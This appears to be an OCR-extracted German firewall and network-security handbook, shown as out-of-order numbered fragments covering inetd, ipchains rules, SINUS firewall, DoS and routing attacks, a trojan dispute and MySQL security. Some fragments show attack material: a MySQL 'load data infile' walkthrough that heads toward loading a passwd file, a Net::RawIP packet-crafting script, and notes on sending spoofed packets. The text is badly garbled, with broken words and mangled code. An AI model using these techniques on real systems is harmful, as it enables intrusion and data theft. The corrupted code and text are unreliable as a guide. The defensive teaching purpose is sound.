93. e Vorsicht angebracht Ohne spezialisierte PROXY s sollte man diese Pakete von einer Firewall tunlichst nicht transportieren lassen 9 12 Protokolle und Dienste Zuerst sollte erkl rt werden was ein Dienst und was ein Protokoll ist Dienste werden unter UNIX in der Datei etc inetd conf beschrieben Hier wird festgelegt welche Dienste die UNIX Maschine anbietet und welche Programme gestartet werden m ssen Schauen wir uns die Datei einmal genauer an lt service_name gt lt sock_type gt lt proto gt lt flags gt lt user gt lt server_path gt lt args gt ftp stream tcp nowait root usr sbin tcpd wu ftpd a ftp stream tcp nowait root usr sbin tcpd proftpd ftp stream tcp nowait root usr sbin tcpd in ftpd telnet stream tcp nowait root usr sbin tcpd in telnetd smtp stream tcp nowait root usr sbin sendmail sendmail bs tftp dgram udp wait nobody usr sbin tcpd in tftpd tftpboot netbios ssn stream tcp nowait root usr sbin smbd smbd 1 var log samba s etc smb conf Erstellt von Doc Gonzo http kickme to plugins netbios ns dgram udp wait root usr sbin nmbd nmbd Hier sind Dienst Sockettyp Protokoll Flags User Programm und Optionen aufgelistet Wir k nnen dem entnehmen da z B der FTP Dienst auf dem TCP Protokoll aufsetzt der deaktivierte TFTP Dienst auf dem UDP Protokoll aufsetzt Ebenso setzt der Dienst NETBIOS NS dem WINS Dienst von Microsoft der dem IBM OS 2 LAN Manager Protokoll ent
94. e reject mit Angabe des Typs Protokolle e RIP e TCP e UDP e ICMP Erstellt von Doc Gonzo http kickme to plugins Sofern die Protokolle ber Ports kommunizieren so sind Quell und Zielhost mit angegeben 15 8 Installation des JAVA Interface Die Installation des JAVA Interface ist f r unerfahrene etwas kompliziert da sowohl das JAVA SDK bzw das RUNTIME Modul auf einer Windows Arbeitsstation installiert als auch ENSkip in den LINUX Kernel eingebunden werden m ssen Erst wenn beide Komponenten korrekt installiert sind k nnen die SF und SINUS Firewall komfortabel administriert werden Eine Alternative ist die Administration ber PPTP oder SSH und dem SHELL Interface Ohne verschl sseltes Interface sollte die Firewall nicht betrieben werden Das Handbuch zur Installation wird Mitte September verf gbar sein Hier nun eine kurze Vorstellung der Oberfl che 15 9 Die Benutzeroberfl che der SINUS Firewall Die Benutzeroberfl che der SINUS Firewall oder auch schon die der SF Firewall besitzen einige Eigenschaften die einzigartig bei Firewalls sind Die Bedienung ist auch f r Anf nger leicht zu erlernen Ein mehrere hundert Seiten umfassendes Handbuch f r die Bedienung der SINUS Firewall kann ab Mitte September beim Autor bezogen werden Hier aber nun die Vorstellung der Konfigurationsmen s Der Aktivit tsmonitor Das wichtigste bei einer Firewall ist die st ndige berwachung aller Verbindungen W hrend im Hintergru
95. ein Angriff auf einen Server erfolgt 23 12 Der unbemerkte Diebstahl von Daten 23 13 DNS Sicherheit und Entf hrung von E Mails 23 14 Firewalls f r Verbindungen von au en mit FTP ffnen 23 15 Ver nderungen an Adre b chern f r E Mail 23 16 Beschreibung von Back Orifice genannt BO 23 17 Probleme beim Download von Software aus dem Internet 24 Trojanische Pferde der gemeinen Art 24 1 Analyse eines Programmes aus dem Internet 24 2 Auswertung der Informationen 24 3 Konsquenzen 25 Makroviren Melissa amp Co beleuchtet 26 Sicherung von SQL Datenbanken 26 1 Auslesen der Backoffice Datenbank mit einem Winword Makro 26 2 Angriff auf S u S E LINUX und MySQL 26 3 Helfen SQL Proxy s 26 4 10 wichtige Punkte zur Absicherung 27 Aufbau von VPN s unter LINUX Erstellt von Doc Gonzo http kickme to plugins e 27 1 PPTP unter LINUX und Windows 28 Erstellung einer Security Policy 28 1 Grundlegende Fragen f r die Erstellung einer security policy 28 2 Beispiel Security Policy f r User 28 3 Grundregeln f r den Nutzer 28 4 Verfahren zur Sicherung von Servern 29 Security Auditing 30 PERL Sicherheit bei WWW Servern 30 1 Allgemeine Tips 30 2 Typische Schwachstellen bei PERL Skripten 30 3 L sungsm glichkeiten 30 4 Der Taint Modus bei PERL 30 5 Gef hrliche Parameter bei Variablen 30 6 Beispiele der Absicherung von PERL Skripten 30 7 Gef hrliche Operationen 30 8 Hinweise auf weiterf hrende Literatur 31
96. ein Doppelpunkt voneinander getrennt Eine spezielle Instanz der Variablen wird erzeugt wenn auf diese zugegriffen wird wobei entweder die Quelladresse oder die Zieladresse desjenigen Paketes angegeben wird welches diese Aktion ausgel st hat Wenn die Variable so ver ndert wird dann werden die Variable und deren Instanz ver ndert Diese Eigenschaft kann dazu genutzt werden die H ufigkeit eines Ereignisses zu ermitteln absolut und nach Quell und Zieladresse aufgeschl sselt Im folgenden Beispiel werden die Variablen und der Timeout Mechanismus f r Variablen und dynamische Regeln gleichzeitig verwendet Wenn ein Host die Firewall 100 mal in Folge in einem Abstand von maximal 2 Sekunden anpingt dann werden alle Pakete von diesem Hosts f r 10 Minuten gesperrt Der notification level dieser dynamischen Regel wird auf 0 gesetzt um die Menge der anfallenden Log Eintrage einzud mmen die zwischen Filter und Firewall ausgetauscht werden accept icmp icmp_echo to inside notification_level 10 Erstellt von Doc Gonzo http kickme to plugins notification level 10 let pingcount sourcehost pingcount sourcehost 1 timeout 2 if pingcount sourcehost gt 100 then block all from sourcehost notification_level 0 timeout 600 endif Das Aufstellen von Filterregeln In diesem Abschnitt werden alle oben nur definierten Filterregeln genauer abgehandelt Es wird ausdr cklich das Buch von Bellovin und Cheswick als Bibel f r das Erstellen von
97. eine Frage der Zeit Das Programm macht den User von Zeit zu Zeit darauf aufmerksam da einen neue Version auf dem HomeServer bereit steht Die Hacker k nnen also in Ruhe alle Informationen die ihnen von der ersten Version Netplanet 2 0 bermittelt wurden auswerten damit der User dann eine neue modifizierte Version mit weiteren Routinen installiert Ziel k nnten dann SQL Datenbanken o sein Hier nun die Stellungnahme von Neoplanet mit einer Aufforderung diesen Text vom Netz zu nehmen please see below gt Original Message gt From root www intra net mailto root www intra net On Behalf Of Guido gt Stepken gt Sent Thursday February 03 2000 5 29 AM gt To sean neoplanet com gt Subject Re 24 1 Analyse eines Programmes aus dem Internet gt gt gt Sean Conway wrote gt gt Dear Sir gt gt gt gt In response to your recent report describing NeoPlanet as a gt Trojan Horse gt gt we would like to make it clear this characterization is Erstellt von Doc Gonzo http kickme to plugins gt categorically false gt gt gt gt How do you explain those strings in your EXE code This code was build to self test mail sending capabilities of NeoPlanet s email client in version 2 1 we are now on version 5 1 When we were developing the email client we needed a way to test it so we added code to send 50 emails to a test address test sushiking com Whil
98. eine ausf hrliche FAQ dazu wo alle Anf ngerfragen erl utert werden darunter auch diejenige wie ich mit diesem Toolkit gespoofte IP Pakete erzeuge bei denen die Absendeadresse gef lscht ist Aber Vorsicht viele Provider k nnen Spoofing bestimmter IP Nummernbereiche erkennen andere leider nicht Erstellt von Doc Gonzo http kickme to plugins Einige Suchmaschinen wie z B Yahoo und HOTBOT haben net rawip zensiert Die Suchmaschine http www northernlight com liefert jedoch zu diesem Thema einige hundert Informationen Wie durchschlagend diese Angriffe sind wird daran deutlich da Microsoft in den Beschreibungen der Service Packs diese Problematik erst garnicht dokumentiert sondern Patches immer heimlich mitliefert Falls also gerade Ihr 100 000 DM Windows NT 4 0 Wolfpack Cluster mit Servicepack 5 in Ihrem Unternehmen st ndig ausf llt dann sollten Sie vielleicht einmal Arbeitsstationen auf Visual Basic Makro s in Winword Dokumenten untersuchen die ber die veraltete Winsock 2 1 diese Pakete an den Server versenden Diese Beispiele werde ich an dieser Stelle nicht ver ffentlichen da ansonsten der Schaden unermesslich sein w rde Dieser Abschnitt hier soll auch nur den Ernst der Lage verdeutlichen und keine Aufforderung f r Mitarbeiter sein dem eigenen Unternehmen einen Millionenschaden zuzuf gen Wer Microsoft NT Server in Unternehmen einsetzt der hat leider auf das falsche Pferd gesetzt Microsoft kann bis heut noch
99. eines Fehlers gibt es wirklich keine Rettung Copyright c der deutschen Version 1999 Guido Stepken Original Copyright c 1996 Robert Muchsel Roland Schmid 16 Allgemein Architektur von Firewalls Das korrekte Aufsetzen der Firewallregeln ist eine zeitraubende Angelegenheit bei der unglaublich viele Fehler gemacht werden Leider k nnen anschlie ende Tests mit Portscannern diese nicht entdecken Erfahrene Angreifer beherrschen die Materie im Schlaf und kennen die typischen Fehler w hrend sich der gerade frisch von der Fortbildung gekommene Systemadministrator in Sicherheit wiegt Die Praxis hat gezeigt da alle mir bekannte Literatur z B Einrichten von Firewalls vom O Reilly Verlag Chapman Zwicky v llig berholt sind Dies ist mit ein Grund daf r da ich dieses Handbuch geschrieben habe Noch mehr erstaunt war ich ber eine Anleitung von S u S E zum Aufbau einer Firewall mit LINUX Um mich juristisch auf sicherem Pflaster zu bewegen habe ich also diesen im Handbuch vorgeschlagenen Aufbau nach den Empfehlungen von S u S E nachgebaut und ein paar Angriffe getestet Hier zun chst die Erkl rung warum man diesen Empfehlungen nicht folgen sollte 16 1 Fallstricke beim Aufbau der Firewall Ein Host der gegen buffer overflows anf llig ist ben tigt keinen Schutz durch einen u eren Router oder eine Firewall mehr Ein Angreifer w rde ber den zugelassenen Port direkt Supervisorrechte auf dem Host erlangen INTERNET
100. eingelesen Das Beispiel in dem vorangegangenen Kapitel erlaubte es uns aus dem Standardverzeichnis von MySQL Daten einzulesen Netterweise kann man aber auch folgendes Konstrukt angeben Hierzu kopieren Sie bitte die Datei datenexport txt aus dem Standard Verzeichnis in Ihr Homeverzeichnis bitte anpassen user01 tunix gt cp var mysql test datenexport txt Sie l schen nun die Inhalte der Tabelle testtabelle und importieren die Daten mysql gt delete from testtabelle Query OK 0 rows affected 0 00 sec mysql gt load data infile home user01 datenexport txt into table testtabelle Query OK 3 rows affected 0 01 sec Records 3 Deleted 0 Skipped 0 Warnings 0 mysql gt select from testtabelle nn un I spaltel spalte2 en nn 5 test 5 testwert 34567 kannix und istnix weissnix habenix m ee nn 3 rows in set 0 00 sec mysql gt Erstellt von Doc Gonzo http kickme to plugins Ahnen Sie etwas Offensichtlich kann man auch absolute Pfade angeben um Daten aus Nachbarverzeichnissen oder aus gesch tzten Bereichen in die Datenbank zuladen oder zu speichern Probieren wir es aus user01 tunix gt mysql h 10 0 0 5 u testuser ptestpasswort test Welcome to the MySQL monitor Commands end with or g Your MySQL connection id is 17 to server version 3 21 33b Type help for help mysql gt create table passwd text char 100 Query OK 0 rows affected 0
101. einsetzten Die Gefahr da diese Firewall einem DoS Angriff zum Opfer f llt ist sehr gro Firewallkonfiguration des DFN CERT Erstellt von Doc Gonzo http kickme to plugins Der DFN CERT in Hambung hat seit einigen Jahren eine u erst einfache und scheinbar un berwindbare Sicherheitsl sung im Einsatz die weder eine Firewall noch einen Proxy einsetzt Wie besteht aus einem alten Paketfilter DRAWBRIDGE der die Arbeitsstationen von dem Internet abtrennt Uber diesen Paketfilter wird ber einen SSH Kryptokanal der externe WWW Server administriert Der WWW Server ist ein in einer chroot Umgebung laufender und mit minimalen Userrechten ausgestatteter und minimal modifizierter CERN HTTPD Server Als Betriebssystem arbeitet ein einfaches FreeBSD UNIX dessen Funktionsumfang auf ein Minimum reduziert wurde Diese Ma nahmen wurden notwendig da dieser Server wichtige Software zur Sicherung von Betriebssystemen anbietet Ein Einbruch h tte fatale Folgen Eine Suchmaschine die die Inhalte des WWW Servers indiziert besitzt eine dedizierte Hardware Sie ist zwar hnlich abgesichert es konnte aber aufgrund der Komplexit t keine Garantie f r die Sicherheit gegen buffer overflows gegeben werden Da ist insofern nicht weiter wichtig als das ein Angreifer h chtens die Suchausgabe verf lschen nicht aber die Dokumente auf dem WWW Server ver ndern kann E Mails werden von den Arbeitsstationen kein Windows ber den Paketfilter hinweg
102. erhalb nicht angreifbar Es existiert kein einziger offener Port der angreifbar w re Ganz anders sieht dies von innen aus Hier ist jeder Port der Firewall von einem Host aus dem Intranet aus erreichbar Es bieten sich verschiedene Dienste an wie z B Mail POP3 WWW DNS SMB Fileservices NOVELL Server PROXY Cache u s w Auch an dieser Stelle m chte ich noch einmal betonen da auf der Firewall selber absolut kein Dienst etwas zu suchen hat Eine Firewall ist eine Firewall jede weitere Software ist ein Risiko Leider halten einige Systemadministratoren das Risiko eines Angriffes auf die Firewall ber eine Arbeitsstation f r gering Dem kann ich im Prinzip zustimmen wenn ich selber nicht das Angriffswerkzeug in meiner Schublade h tte Betracht man einmal die Installation eines DNS Servers auf der Firewall Das DNS Protokoll basiert auf TCP und auf UDP UDP ist ein Protokoll welches kein ACK Bit ben tigt Dieses ACK Bit ist f r die Firewall aber ein Zeichen da die Pakete passieren d rfen sofern vorher ein Paket mit SYN Bit aus dem Intranet in das Internet versandt worden ist Die Firewall speichert intern dann in einer HASH Tabelle deren HASH Werte sich aus Port und IP Nummer errechnen Auch hier ergeben sich bei billigen Firewalls neue Angriffsm glichkeiten siehe auch die Ausf hrungen bei der SINUS Firewall Genaugenommen ist das SYN Bit ein Zeichen f r die Firewall sich genau zu merken von welchem Host aus eine
103. erlaubt e STD1 und STD2 Diese Regeln blockieren alle Pakete sofern sie nicht in einer der vorhergehenden Regeln erlaubt wurden 19 2 u ere Firewall mit bastion host und Grenznetz Gem Abbildung 3 gelten f r die u ere Firewall bzw den u eren Paketfilter einige spezielle Regeln Das Grenznetz stellt den Bereich zwischen den beiden Firewalls dar Als Basion Host sind Server1 2 entsprechend den Regeln zu konfigurieren Die Logeintr ge der u eren Firewalls sind stets zu kontrollieren und mit denjenigen der inneren Firewall abzugleichen Nur so kann ein Angriff auf die Server im Grenznetz bemerkt werden Im Falle eines Angriffs sind beide Firewalls die innere und u ere automatisch zu sperren Differenzen ergeben sich immer dann wenn Pakete Quell IP Nummern aus dem Intranet und deren Zieladresse IP Nummer aus dem Internet nicht gleicherma en in den Logfiles der inneren und u eren Firewall erscheinen Differenzen die sich aus einem Upload von WWW Seiten via HTTP oder FTP Protokoll auf die Server im Grenznetz ergeben k nnen ignoriert werden Das betrifft auch NNTP UUCP SMTP und DNS Regel Richtung Quell IP Ziel IP Prot Quellport Zielport ACK Aktion SPFIl ein intern bel bel bel bel bel verbieten SPF2 ein Grenznetz bel bel bel bel bel verbieten TELI aus intern bel TCP gt 1023 23 bel zulassen TEL2 ein bel intern TCP 23 gt 1023 ja zulassen FTP aus intern bel TCP gt 1023 21 bel zulassen FTP2 ein bel
104. es Interesse nicht nur den unmittelbaren Netzwerkverkehr sondern auch den Verkehr in anderen Subnetzen des Unternehmens abzuh ren Nichts liegt also n her z B ein geeignetes Werkzeug UNIX NT als Filter und Router gleichzeitig zu gebrauchen Dazu mu er die dynamischen Eintr ge von Routern im Unternehmen so manipulieren da diese s mtliche Pakete ber den UNIX NT Server schicken MITM Problem Diese Pakete kann er dann nach Pa worten durchsuchen und Erstellt von Doc Gonzo http kickme to plugins hat nach kurzer Zeit mit hoher Wahrscheinlichkeit Zugang zu weiten Bereichen des Unternehmens Es gibt eine Reihe von M glichkeiten Standardmechanismen des Routings anzugreifen Am einfachsten ist die Option zur freien Senderwegwahl von IP loose source route zu nutzen Der Initiator einer TCP Verbindung kann damit eine explizite Route zum Ziel angeben und den blichen automatischen Routing Vorgang umgehen Die einfachste Verteidigung gegen einen solchen Angriff ist Pakete mit Loose Source Route Option abzuweisen Der R ckweg einer Route ist aus Sicherheitssicht besonders wichtig Kann n mlich ein Angreifer die Routing Strategien unterwandern so kann er sich dem angegriffenen Host gegen ber als ein vertrauensw rdiges System ausgeben In diesem Fall versagen Authentisierungsmechanismen die sich allein auf die Verifikation von Quelladressen verlassen Da RIP als Informationstrager UDP verwendet ist es recht einfach gef l
105. f r die Begriffe reverse proxy und die Einsicht darin da Server in der DMZ stets durch buffer overflows bedroht sind Ich selber habe nach ca 10 Minuten Suche einen erfolgreichen Angriff auf die S u S E Konfiguration alles nach Handbuch konfiguriert durchgef hrt S u S E 6 0 und 6 1 beta Wer wei was er tut der kann das Skript durchaus einsetzen jedoch nicht ohne mit Hilfe des IIS noch einmal alles zu verifizieren Wer aber noch neu in der Materie ist der hat auch keine M glichkeit zu verstehen was in dem Skript eigentlich passiert und sollte dringend die Finger davon lassen Als Alternative bietet sich an obiges Skript um weitere wichtige Regeln zu erg nzen z B um die Spoofing Regeln u s w 8 Weitere Firewalls kurz vorgestellt Die LINUX Kernel Firewall ipfwadm und ipchains decken mit den unterst tzten Protokollen SMTP FTP REALVIDEO AUDIO TELNET sicher 99 des Bedarfs eines normalen Unternehmens ab Gerade auch die Unterst tzung von Masquerading und NAT ist ein Kriterium welches LINUX auch f r die Vernetzung gr erer Unternehmensbereiche geeignet erscheinen l t In einigen wenigen F llen werden jedoch h here Anforderungen gestellt insbesondere dann wenn auf Application Level einige Protokolle gefiltert werden m ssen Zusammen mit DELEGATE stellt eine LINUX Firewall wirklich au erordentliche Fiterm glichkeiten zur Verf gung Allein schon die Beschreibung der Filtersprache f llt ein kleines Buch
106. finden http www geek girl com Sie sind fast ohne Netzwerkkenntnisse von jedermann ausf hrbar und greifen Internet Server und arglose Surfer an Insbesondere Fa Microsoft hat sich hierbei nicht mit Ruhm bekleckert die Folgen waren allerorts zu sp ren Computerwoche SWF3 Microsoft Netscape Internet Server und viele andere waren wochenlang offline hunderttausende von Surfern werden mit DoS Angriffen belegt die ein Einfrieren vor allem von Windows 95 98 NT Workstations bewirken F r mission critical Dienstleistungsbetreiber bedeutete dies erhebliche Folgekosten die sich aus Ausfallzeiten Schadensersatzanspr chen Beratung Kauf und Einrichtung einer Firewall u s w zusammensetzte Als dann auch einige Firewallhersteller keine wirksame L sung liefern konnten war das Chaos perfekt Microsoft z B sperrte alle direkten Zugriffe auf deren Internet Server und lie ber mehrere Wochen nur Pakete zu die ber bekannte PROXY s bei ISP s geroutet wurden PROXY s oder CACHING PROXY s nutzen zwangsl ufig ihren eigenen TCP IP Stack f r ein und ausgehende Pakete Pakete von Angreifern ber PROXY s mu ten somit Erstellt von Doc Gonzo http kickme to plugins scheitern Eine vollst ndige Liste der unter den Namen teardrop land bekanntgewordenen Angriffe findet sich im Anschlu an dieses Kapitel DoS Angriff auf Firewalls mit fragmentierten Paketen Themen e Overlapping fragment attack e Probleme bei SPF Firewa
107. ftp server n flags qw URG ACK PSH RST SYN FIN filter dst host opt_i and dst port 21 filterl src host opt_i and src port 21 psize 1500 device opt_d timeout 500 if fork a new Net RawIP my pcap a gt pcapinit device filter psize timeout Erstellt von Doc Gonzo http kickme to plugins loop pcap opt_n a else b new Net RawIP my pcap b gt pcapinit device filter1 psize timeout loop pcap opt_n a sub cl a gt bset substr _ 2 14 my fl a gt get tcp gt qw psh syn fin rst urg ack print Client gt map print flags _ if fI _ 0 5 print n sub sv b gt bset substr _ 2 14 my fl b gt get tcp gt qw psh syn fin rst urg ack s print Server gt map print flags _ if f1 _ 0 5 print n Das folgende Beispiel funktioniert eventuell auf einigen UNIX en nicht darunter LINUX 2 2 und BSD UNIX e Der Grund ist folgender Die Distributoren haben sich darauf geeinigt da der Schaden von irgendwelchen Lamern gro genug sei Im Kernel von UNIX LINUX 2 2 NT und Windows 95 98 Service Packs wurde also ein Pr fsummencheck eingebaut der verhindert da solche b sartigen Pakete die Netzwerkkarte ISDN Karte verlassen Unter LINUX m ssen Sie im Kernel den direkten Zugriff auf das Netzwerkdevice im Kernel aktivieren Config Paket Socket Y Config Netlink Socket Y D
108. gezielten Angriff ausreichend vorbereiten konnte v llig unwichtig Die R ckmeldungen k nnen auch um Tage verz gert z B ber E Mail oder auch ber mehrere Wege gleichzeitig erfolgen Angriffe auf z B Telnet Verbindungen die mit spoofing oder hijacking arbeiten erfolgen zwangsl ufig immer blind Trojanische Pferde W rmer und Viren ben tigen ebenfalls die Anwesendheit des Angreifers nicht Diese Angriffe werden als blinde Angriffe oder blind attacks bezeichnet Es ist ein Erstellt von Doc Gonzo http kickme to plugins verbreiteter Irrtum zu glauben da ein Angriff durch Unterbrechung der Internet Verbindung abgebrochen werden kann 23 10 Zeitversatz zwischen Angriffen und die Analyse von Logfiles Da sogenannte events in Routern und Firewalls bei Angriffen zeitlich einen gro en Abstand haben k nnen kann ein Systemadministrator oft keinen Zusammenhang zwischen ungew hnlichen Ereignissen erkennen auch wenn Logfiles zusammen ausgewertet werden Nur aufwendige Analyse Programme die mitunter auch Logfiles von mehreren Servern Clients Routern Firewalls miteinander kombinieren geben zuverl ssige Hinweise darauf ob ein Angriff erfolgreich war oder nicht Der Unterschied ist in etwa vergleichbar mit der Auswertung von Zugriffen auf Web Seiten Die einen werten nur die Zahl der Zugriffe auf die jeweiligen Seiten aus Viel wichtiger ist aber zu wissen in welcher Reihenfolge ein Kunde das Angebot bzw die Server
109. glich der Firewall ein drittes Interface spendieren welches an ein V LAN zur Administration von sicherheitsrelevanten Komponenten des Netzwerkes eingerichtet wurde Von diesem Arbeitsplatz sollte dann logischerweise kein Zugang zu Mailservern oder evtl sogar zum Internet m glich sein Damit nun kein Stre entsteht Wir brauchen ein V LAN sei noch erw hnt da man durchaus z B die SINUS Firewall sicher von einem Arbeitsplatz aus administrieren kann auch dann wenn kein V LAN und kein drittes Interface auf der Firewall existent sind Die Angriffe sind schon etwas anspruchsvoller und h chst selten Ein Profi w rde sicher einfachere Sicherheitsl cken auszunutzen wissen Die weitere Vorgehensweise ist in einem Unterkapitel Fernwarung und Sicherheit der SINUS Firewall beschrieben Die SINUS Firewall ist zentral ber ein JAVA Applet sicher ber kryptografische Protokolle ENSkip OPIE SSH PPTP zu administrieren Die dort angegebenen TIPS zur Installation gelten auch f r die LINUX Kernel Firewalls mit dem ipfwadm Toolkit Eine Alternative ist die Fernwartung der Firewall ber das ISDN Interface der Firewall Hierzu mu man das zweite ISDN Interface als DIAL IN Router mit SYNC PPP konfigurieren Als Schutz dient die Firewall und die Pa wortkennung des PPP D mons Leider sind diese Ma nahmen v llig unzureichend da bereits bei der Pa wortkennung und der CHAP PAP Authentifizierung ein buffer overflow m glich ist In der Praxis hat sich
110. gt tm_min tm gt tm_sec namepeer sa_data 2 amp 255 namepeer sa_data 3 amp 255 namepeer sa_data 4 amp 255 namepeer sa_data 5 amp 255 ntohs struct sockaddr_in gt sin_port name sa_data 2 amp 255 name sa_data 3 amp 255 name sa_data 4 amp 255 name sa_data 5 amp 255 fd_to_proxy serverconnect if fd_to_proxy 1 exit 1 lu read newfd buffer sizeof buffer if dflg printf From client d n lu fflush stdout Erstellt von Doc Gonzo http kickme to plugins hexdump_err buffer lu On extrait de la demande du client le port UDP qu il desire employer Recherche VDO Live En for G 0 1 lt lu i if memcmp buffer i VDO Live 8 0 i 8 client_udp_port buffer i 2 amp 255 lt lt 8 buffer i 3 amp 255 buffer i 2 server_udp_port gt gt 8 buffer i 3 server_udp_port break alloue_server_udp _udp_port on fait en sorte que les paquets que nous emettons aient comme adresse source l adresse du serveur sockcl socket AF_INET SOCK_DGRAM 0 where sin_family AF_INET where sin_addr s_addr struct sockaddr_in gt sin_addr s_addr if dflg fprintf stderr s_addr x ntohl where sin_addr s_addr where sin_port htons client_udp_port if dflg fprintf stderr port udp du client d n client_udp_port Recherche 2eme VDO Live EN for i l
111. in C vom PHRACK Magazin einmal genau anschaut der wird feststellen da diese auch f r andere Dinge geeignet sind Starke Authentifizierung an dem Datenbankserver und eine verschl sselte bertragung mit z B PPTP die Experten werden mich hoffentlich nicht schlagen welches zumindest sicherer geworden ist sollte obligatorisch sein Um mit einem SQL Proxy eine Datenbank sicher an das Internet anzubinden sind spezielle Filter unumg nglich In diesen werden anhand einer Positivliste nur diejenigen Befehle zugelassen die f r den Betrieb minimal notwendig sind Die Ubergebenen Erstellt von Doc Gonzo http kickme to plugins Parameterl ngen f r die Befehle m ssen dann nochmals in der L nge beschr nkt werden was nur dann m glich ist wenn man die Inhalte der Datenbank bzw der Felder genau kennt Da sich auch unter SQL mehrere Befehle kombinieren lassen mu auch deren Kombinationsm glichkeit stark eingeschr nkt werden Zum Schlu ist es wichtig zu verhindern da Angreifer ber andere Ports in die Maschine einbrechen und die komplette Datenbank mit Hilfe von anderen Protokollen ber die Firewall kopieren Es mu also zum Schutz der SQL Datenbanken die Firewall noch gegen sog insider attacks gesichert werden Dies bedeutet in der Praxis da auf der Firewall neben der SQL Datenbank keine anderen Funktionen aktiviert sein d rfen und da die Firewall sofort Alarm meldet wenn jemand versucht z B eine FTP Verbindung von i
112. in proc sys net ipv4 conf rp_filter do echo 1 gt f done echo done else echo PROBLEMS SETTING UP IP SPOOFING PROTECTION BE WORRIED echo CONTROL D will exit from this shell and continue system startup echo Start a single user shell on the console sbin sulogin CONSOLE fi Falls dieses so nicht m glich ist dann mu f r jedes Interface eine eigene anti spoofing Regel aufgesetzt werden Im Kernel von Linux 2 2 ist ein Schutz gegen Angriffe auf 127 x x 0 also im loopback interface standardm ig aktiviert Angenommen es existieren drei Interfaces eth0 eth1 und ippp0 ifconfig wird die Netzwerkadressen und Netzmasken anzeigen Nun mu verhindert werden da Pakete mit falscher oder gef lschter Absende Adresse am falschen Interface eintreffen Diese m ssen in der input chain gesperrt werden ipchains A input i ethO s 192 168 1 0 255 255 255 0 j DENY ipchains A input i ethO s 192 168 1 0 255 255 255 0 j DENY ipchains A input i eth1 s 10 0 0 0 255 0 0 0 j DENY ipchains A input i eth1 s 10 0 0 0 255 0 0 0 j DENY Erstellt von Doc Gonzo http kickme to plugins Die allgemeine Variante spoofing vom Linux Kernel Routing Code zu aktivieren ist die bessere weil bei der Anderung der Netzwerkadresse die Firewallregeln nicht ge ndert werden m ssen F r den Kernel Version 2 0 mu explizit noch eine anti spoofing Regel implementiert werden ipchains A input i lo s 127 0 0
113. intern TCP 21 gt 1023 ja zulassen FTP3 aus intern bel TCP gt 1023 gt 1023 bel zulassen FTP4 ein bel intern TCP gt 1023 gt 1023 ja zulassen FTP5 aus Bastion bel TCP gt 1023 21 bel zulassen FTP6 ein bel Bastion TCP 21 gt 1023 ja zulassen FTP7 ein bel Bastion TCP 20 6000 6003 bel verbieten FTP8 ein bel Bastion TCP 20 gt 1023 bel zulassen FTP9 aus Bastion bel TCP gt 1023 20 ja zulassen FTP10ein bel Bastion TCP gt 1023 21 bel zulassen FTPllaus Bastion bel TCP 21 gt 1023 ja zulassen FTP12 aus Bastion bel TCP 20 gt 1023 bel verbieten FTP13 ein bel Bastion TCP gt 1023 20 ja zulassen FTPl4ein bel Bastion TCP gt 1023 gt 1023 bel zulassen FTP15 aus Bastion bel TCP gt 1023 gt 1023 bel zulassen SMTPI aus Bastion bel TCP gt 1023 25 bel zulassen SMTP2 ein bel Bastion TCP 25 gt 1023 ja zulassen SMTP3 ein bel Bastion TCP gt 1023 25 bel zulassen SMTP4 aus Bastion bel TCP 25 gt 1023 ja zulassen Erstellt von Doc Gonzo http kickme to plugins NNTPl aus Server NNTP TCP gt 1023 119 bel zulassen NNTP2ein NNTP Server TCP 119 gt 1023 ja zulassen NNTP3 ein NNTP Server TCP gt 1023 119 bel zulassen NNTP4 aus Server NNTP TCP 119 gt 1023 ja zulassen HTTPI aus Bastion bel TCP gt 1023 bel bel zulassen HTTP2 ein bel Bastion TCP bel gt 1023 ja zulassen HTTP3 ein bel Bastion TCP gt 1023 80 bel zulassen HTTP4 aus Bastion bel TCP 80 gt 1023 ja zulassen DNS1 aus Bastion bel UDP 53 53 zulassen DNS2 ein bel
114. ippp out ipchains A output i ipppO j ippp out Eine kleine Zeitverz gerung f r Telnet und WWW Pakete ipchains A ppp out p TCP d proxy virtual net au 8080 t 0x01 0x10 ipchains A ppp out p TCP d 0 0 0 0 telnet t 0x01 0x10 Erniedrige cosr fur ftp data nntp pop 3 ipchains A ppp out p TCP d 0 0 0 0 0 ftp data t 0x01 0x02 ipchains A ppp out p TCP d 0 0 0 0 0 nntp t 0x01 0x02 ipchains A ppp out p TCP d 0 0 0 0 0 pop 3 t 0x01 0x02 Hier sind ein paar Beschr nkungen auf Paketen die von dem ipppO Interface kommen Die chain soll ippp in hei en ipchains N ippp in ipchains A input i ipppO j ppp in Nun kommen keine Pakete auf dem Device ipppO mehr an Wenn diese aus dem Bereich des Intranets stammen also die IP Nummern 192 168 1 besitzen dann werden diese geloggt und abgelehnt ipchains A ppp in s 192 168 1 0 24 1 j DENY Vom Linux Host selber sollen Anfragen an DNS Server im Internet erlaubt werden Ich betreibe einen caching nameserver der alle Anfragen an den DNS Server des Providers richtet Also erwarte ich DNS Antworten von diesem Host und nur von diesem eingehende FTP Pakete nur Antwortpakete die auf Ports oberhalb von 1023 eintreffen aber nicht die X Windows Ports 6000 belegen ipchains A ppp in p UDP s 203 29 16 1 d LOCALIP dns j ACCEPT ipchains A ppp in p TCP s 0 0 0 0 0 ftp data d LOCALIP 1024 5999 j ACCEPT ipchains A ppp in
115. ist Betrachtet man nun den Zugriff aus dem Intranet auf Server im Internet Erlaube WWW ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 80 D INTRANET UNPRIVPORTS Es wird hier ein besonderes Zeichen verwendet auch META Zeichen oder Fluchtsymbol genannt Es soll daf r sorgen da das direkt darauffolgende ASCII Zeichen ignoriert wird Welches Das ist bei Editoren meist nicht sichtbar Es ist das RETURN oder NEWLINE Zeichen Hiermit werden lange Zeilen umgebrochen ohne da die Shell bei der Abarbeitung der Regeln in Schwierigkeiten mit der Interpretation der Zeichen ger t Es wird hier das Senden eines TCP Paketes aus dem Internet von Port 80 den Zugriff auf einen Client innerhalb unseres Netzwerkes zugelassen der Ports oberhalb von 1024 benutzt z B Netscape Das k hat eine sehr wichtige Bedeutung Es bedeutet da alle Pakete das ACK Bit gesetzt haben m ssen andern falls werden diese abgewiesen Erstellt von Doc Gonzo http kickme to plugins Nochmals zur Erinnerung Beim Verbindungsaufbau mit SYN Bit danach werden alle Pakete nur noch mit gesetztem ACK Bit ausgetauscht Im Grunde bedeutet dies da zwar Pakete aus dem Internet in unser Intranet akzeptiert werden aber keinen Verbindungsaufbau aus dem Internet zu einem der Hosts im Intranet m glich ist Eine genaue Liste von Protokollen Ports und Regeln findet sich 